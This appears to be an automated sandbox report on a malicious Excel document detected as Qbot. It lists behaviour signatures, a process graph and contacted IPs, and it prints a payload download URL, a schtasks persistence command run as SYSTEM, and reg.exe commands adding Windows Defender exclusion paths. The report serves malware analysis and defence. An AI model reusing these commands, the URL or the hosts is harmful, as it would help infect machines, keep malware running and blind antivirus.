Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: amstream.pdb source: explorer.exe, 00000007.00000003.618389279.00000000026B0000.00000004.00000040.sdmp, explorer.exe, 0000000E.00000003.634893726.0000000001350000.00000004.00000040.sdmp

Data Obfuscation:

barindex
Uses code obfuscation techniques (call, push, ret)
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_02A8455B push edx; mov dword ptr [esp], 00000003h 6_2_02A845A5
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_02A8455B push edx; mov dword ptr [esp], 00F00000h 6_2_02A845AE
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_02A81000 push eax; mov dword ptr [esp], 000FFFFFh 6_2_02A812EE
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_1001A00E push ebx; ret 6_2_1001A00F
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_1001D485 push FFFFFF8Ah; iretd 6_2_1001D50E
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_1001D4B6 push FFFFFF8Ah; iretd 6_2_1001D50E
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_10019D5C push cs; iretd 6_2_10019E32
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_10019E5E push cs; iretd 6_2_10019E32
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_1001BB29 push esi; iretd 6_2_1001BB2E
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_0009A00E push ebx; ret 7_2_0009A00F
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_0009D485 push FFFFFF8Ah; iretd 7_2_0009D50E
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_0009D4B6 push FFFFFF8Ah; iretd 7_2_0009D50E
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_00099D5C push cs; iretd 7_2_00099E32
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_00099E5E push cs; iretd 7_2_00099E32
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_0009BB29 push esi; iretd 7_2_0009BB2E
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 13_2_01311000 push eax; mov dword ptr [esp], 000FFFFFh 13_2_013112EE
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 13_2_0131455B push edx; mov dword ptr [esp], 00000003h 13_2_013145A5
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 13_2_0131455B push edx; mov dword ptr [esp], 00F00000h 13_2_013145AE
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 13_2_1001A00E push ebx; ret 13_2_1001A00F
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 13_2_1001D485 push FFFFFF8Ah; iretd 13_2_1001D50E
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 13_2_1001D4B6 push FFFFFF8Ah; iretd 13_2_1001D50E
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 13_2_10019D5C push cs; iretd 13_2_10019E32
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 13_2_10019E5E push cs; iretd 13_2_10019E32
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 13_2_1001BB29 push esi; iretd 13_2_1001BB2E
Source: C:\Windows\SysWOW64\explorer.exe Code function: 14_2_000DA00E push ebx; ret 14_2_000DA00F
Source: C:\Windows\SysWOW64\explorer.exe Code function: 14_2_000DD485 push FFFFFF8Ah; iretd 14_2_000DD50E
Source: C:\Windows\SysWOW64\explorer.exe Code function: 14_2_000DD4B6 push FFFFFF8Ah; iretd 14_2_000DD50E
Source: C:\Windows\SysWOW64\explorer.exe Code function: 14_2_000D9D5C push cs; iretd 14_2_000D9E32
Source: C:\Windows\SysWOW64\explorer.exe Code function: 14_2_000D9E5E push cs; iretd 14_2_000D9E32
Source: C:\Windows\SysWOW64\explorer.exe Code function: 14_2_000DBB29 push esi; iretd 14_2_000DBB2E
PE file contains sections with non-standard names
Source: 44467.9218096065[1].dat.0.dr Static PE information: section name: .rdatat
Source: Drezd.red.0.dr Static PE information: section name: .rdatat
Source: Drezd.red.7.dr Static PE information: section name: .rdatat
Source: Drezd.red.14.dr Static PE information: section name: .rdatat
Contains functionality to dynamically determine API calls
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_1000DFAD LoadLibraryA,GetProcAddress, 6_2_1000DFAD

Persistence and Installation Behavior:

barindex
Uses cmd line tools excessively to alter registry or file data
Source: C:\Windows\SysWOW64\explorer.exe Process created: reg.exe
Source: C:\Windows\SysWOW64\explorer.exe Process created: reg.exe
Source: C:\Windows\SysWOW64\explorer.exe Process created: reg.exe Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Process created: reg.exe Jump to behavior
Drops files with a non-matching file extension (content does not match file extension)
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\Drezd.red
Source: C:\Windows\SysWOW64\explorer.exe File created: C:\Users\user\Drezd.red
Source: C:\Windows\SysWOW64\explorer.exe File created: C:\Users\user\Drezd.red Jump to dropped file
Drops PE files
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\44467.9218096065[1].dat Jump to dropped file
Source: C:\Windows\SysWOW64\explorer.exe File created: C:\Users\user\Drezd.red Jump to dropped file
Drops PE files to the user directory
Source: C:\Windows\SysWOW64\explorer.exe File created: C:\Users\user\Drezd.red Jump to dropped file

Boot Survival:

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Drops PE files to the user root directory
Source: C:\Windows\SysWOW64\explorer.exe File created: C:\Users\user\Drezd.red Jump to dropped file
Uses schtasks.exe or at.exe to add and modify task schedules
Source: C:\Windows\SysWOW64\explorer.exe Process created: C:\Windows\SysWOW64\schtasks.exe 'C:\Windows\system32\schtasks.exe' /Create /RU 'NT AUTHORITY\SYSTEM' /tn pajjxwey /tr 'regsvr32.exe -s \'C:\Users\user\Drezd.red\'' /SC ONCE /Z /ST 22:10 /ET 22:22
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 13_2_100030B7 StartServiceCtrlDispatcherA, 13_2_100030B7

Hooking and other Techniques for Hiding and Protection:

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Overwrites code with unconditional jumps - possibly settings hooks in foreign process
Source: C:\Windows\SysWOW64\regsvr32.exe Memory written: PID: 2980 base: 29102D value: E9 BA 4C DF FF Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe Memory written: PID: 2136 base: 29102D value: E9 BA 4C E3 FF Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion:

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May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 1308 Thread sleep count: 50 > 30 Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe TID: 1612 Thread sleep time: -100000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 1708 Thread sleep count: 53 > 30 Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe TID: 2580 Thread sleep count: 69 > 30 Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe TID: 2580 Thread sleep time: -88000s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\SysWOW64\explorer.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\explorer.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\explorer.exe Last function: Thread delayed
Found dropped PE file which has not been started or loaded
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\44467.9218096065[1].dat Jump to dropped file
Source: C:\Windows\SysWOW64\regsvr32.exe Process information queried: ProcessInformation Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_1000D01F GetCurrentProcessId,GetModuleFileNameW,GetCurrentProcess,GetCurrentProcess,LookupAccountSidW,GetLastError,GetLastError,GetModuleFileNameW,GetLastError,MultiByteToWideChar,GetCurrentProcess,memset,GetVersionExA,GetCurrentProcess,GetSystemInfo,GetWindowsDirectoryW, 6_2_1000D01F
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_1000AEB4 FindFirstFileW,FindNextFileW, 6_2_1000AEB4
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_0008AEB4 FindFirstFileW,FindNextFileW, 7_2_0008AEB4
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 13_2_1000AEB4 FindFirstFileW,FindNextFileW, 13_2_1000AEB4
Source: C:\Windows\SysWOW64\explorer.exe Code function: 14_2_000CAEB4 FindFirstFileW,FindNextFileW, 14_2_000CAEB4

Anti Debugging:

barindex
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_10005F82 EntryPoint,OutputDebugStringA,GetModuleHandleA,GetModuleFileNameW,GetLastError,memset,MultiByteToWideChar,GetFileAttributesW,CreateThread,SetLastError, 6_2_10005F82
Contains functionality to dynamically determine API calls
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_1000DFAD LoadLibraryA,GetProcAddress, 6_2_1000DFAD
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_00085A61 RtlAddVectoredExceptionHandler, 7_2_00085A61
Source: C:\Windows\SysWOW64\explorer.exe Code function: 14_2_000C5A61 RtlAddVectoredExceptionHandler, 14_2_000C5A61

HIPS / PFW / Operating System Protection Evasion:

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Maps a DLL or memory area into another process
Source: C:\Windows\SysWOW64\regsvr32.exe Section loaded: unknown target: C:\Windows\SysWOW64\explorer.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe Section loaded: unknown target: C:\Windows\SysWOW64\explorer.exe protection: execute and read and write Jump to behavior
Writes to foreign memory regions
Source: C:\Windows\SysWOW64\regsvr32.exe Memory written: C:\Windows\SysWOW64\explorer.exe base: B0000 Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe Memory written: C:\Windows\SysWOW64\explorer.exe base: 29102D Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe Memory written: C:\Windows\SysWOW64\explorer.exe base: F0000 Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe Memory written: C:\Windows\SysWOW64\explorer.exe base: 29102D Jump to behavior
Allocates memory in foreign processes
Source: C:\Windows\SysWOW64\regsvr32.exe Memory allocated: C:\Windows\SysWOW64\explorer.exe base: B0000 protect: page read and write Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe Memory allocated: C:\Windows\SysWOW64\explorer.exe base: F0000 protect: page read and write Jump to behavior
Injects code into the Windows Explorer (explorer.exe)
Source: C:\Windows\SysWOW64\regsvr32.exe Memory written: PID: 2980 base: B0000 value: 9C Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe Memory written: PID: 2980 base: 29102D value: E9 Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe Memory written: PID: 2136 base: F0000 value: 9C Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe Memory written: PID: 2136 base: 29102D value: E9 Jump to behavior
Yara detected hidden Macro 4.0 in Excel
Source: Yara match File source: CompensationClaim-1033191014-09282021.xls, type: SAMPLE
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\System32\regsvr32.exe Process created: C:\Windows\SysWOW64\regsvr32.exe -silent ..\Drezd.red Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Process created: C:\Windows\SysWOW64\schtasks.exe 'C:\Windows\system32\schtasks.exe' /Create /RU 'NT AUTHORITY\SYSTEM' /tn pajjxwey /tr 'regsvr32.exe -s \'C:\Users\user\Drezd.red\'' /SC ONCE /Z /ST 22:10 /ET 22:22 Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Process created: C:\Windows\SysWOW64\regsvr32.exe -s 'C:\Users\user\Drezd.red' Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Process created: C:\Windows\System32\reg.exe C:\Windows\system32\reg.exe ADD 'HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths' /f /t REG_DWORD /v 'C:\ProgramData\Microsoft\Ciwuywu' /d '0' Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Process created: C:\Windows\System32\reg.exe C:\Windows\system32\reg.exe ADD 'HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths' /f /t REG_DWORD /v 'C:\Users\user\AppData\Roaming\Microsoft\Uvelq' /d '0' Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Process created: C:\Windows\SysWOW64\regsvr32.exe -s 'C:\Users\user\Drezd.red' Jump to behavior
Source: explorer.exe, 00000007.00000002.881631328.0000000000C40000.00000002.00020000.sdmp Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000007.00000002.881631328.0000000000C40000.00000002.00020000.sdmp Binary or memory string: !Progman
Source: explorer.exe, 00000007.00000002.881631328.0000000000C40000.00000002.00020000.sdmp Binary or memory string: Program Manager<

Language, Device and Operating System Detection:

barindex
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\SysWOW64\regsvr32.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_000831C2 CreateNamedPipeA, 7_2_000831C2
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_1000980C GetSystemTimeAsFileTime,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z, 6_2_1000980C
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_1000D01F GetCurrentProcessId,GetModuleFileNameW,GetCurrentProcess,GetCurrentProcess,LookupAccountSidW,GetLastError,GetLastError,GetModuleFileNameW,GetLastError,MultiByteToWideChar,GetCurrentProcess,memset,GetVersionExA,GetCurrentProcess,GetSystemInfo,GetWindowsDirectoryW, 6_2_1000D01F

Stealing of Sensitive Information:

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Yara detected Qbot
Source: Yara match File source: 6.2.regsvr32.exe.3d0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.explorer.exe.80000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.regsvr32.exe.2a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.regsvr32.exe.2a0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.explorer.exe.c0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.explorer.exe.80000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000006.00000002.617600278.0000000010001000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.615656945.00000000003D0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.634139082.0000000010001000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.881366079.0000000000080000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.881374188.00000000000C0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.632447302.00000000002A0000.00000004.00000001.sdmp, type: MEMORY

Remote Access Functionality:

barindex
Yara detected Qbot
Source: Yara match File source: 6.2.regsvr32.exe.3d0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.explorer.exe.80000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.regsvr32.exe.2a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.regsvr32.exe.2a0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.explorer.exe.c0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.explorer.exe.80000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000006.00000002.617600278.0000000010001000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.615656945.00000000003D0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.634139082.0000000010001000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.881366079.0000000000080000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.881374188.00000000000C0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.632447302.00000000002A0000.00000004.00000001.sdmp, type: MEMORY
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 492656 Sample: CompensationClaim-103319101... Startdate: 28/09/2021 Architecture: WINDOWS Score: 100 54 Found malware configuration 2->54 56 Multi AV Scanner detection for dropped file 2->56 58 Document exploit detected (drops PE files) 2->58 60 8 other signatures 2->60 9 EXCEL.EXE 194 32 2->9         started        14 regsvr32.exe 2->14         started        16 regsvr32.exe 2->16         started        process3 dnsIp4 48 94.140.112.126, 80 TELEMACHBroadbandAccessCarrierServicesSI Latvia 9->48 50 190.14.37.187, 49165, 80 OffshoreRacksSAPA Panama 9->50 52 185.141.27.213, 80 HSAE Netherlands 9->52 46 C:\Users\user\...\44467.9218096065[1].dat, PE32 9->46 dropped 76 Document exploit detected (UrlDownloadToFile) 9->76 18 regsvr32.exe 9->18         started        20 regsvr32.exe 9->20         started        22 regsvr32.exe 9->22         started        24 regsvr32.exe 14->24         started        27 regsvr32.exe 16->27         started        file5 signatures6 process7 signatures8 29 regsvr32.exe 18->29         started        68 Overwrites code with unconditional jumps - possibly settings hooks in foreign process 24->68 70 Injects code into the Windows Explorer (explorer.exe) 24->70 72 Writes to foreign memory regions 24->72 74 2 other signatures 24->74 32 explorer.exe 8 1 24->32         started        process9 file10 78 Overwrites code with unconditional jumps - possibly settings hooks in foreign process 29->78 80 Injects code into the Windows Explorer (explorer.exe) 29->80 82 Writes to foreign memory regions 29->82 86 2 other signatures 29->86 35 explorer.exe 8 1 29->35         started        44 C:\Users\user\Drezd.red, PE32 32->44 dropped 84 Uses cmd line tools excessively to alter registry or file data 32->84 38 reg.exe 1 32->38         started        40 reg.exe 1 32->40         started        signatures11 process12 signatures13 62 Uses cmd line tools excessively to alter registry or file data 35->62 64 Drops PE files to the user root directory 35->64 66 Uses schtasks.exe or at.exe to add and modify task schedules 35->66 42 schtasks.exe 35->42         started        process14
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
185.141.27.213
 unknown Netherlands
60117 HSAE false
190.14.37.187
 unknown Panama
52469 OffshoreRacksSAPA false
94.140.112.126
 unknown Latvia
3212 TELEMACHBroadbandAccessCarrierServicesSI false

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://190.14.37.187/44467.9218096065.dat false
  • Avira URL Cloud: safe
 unknown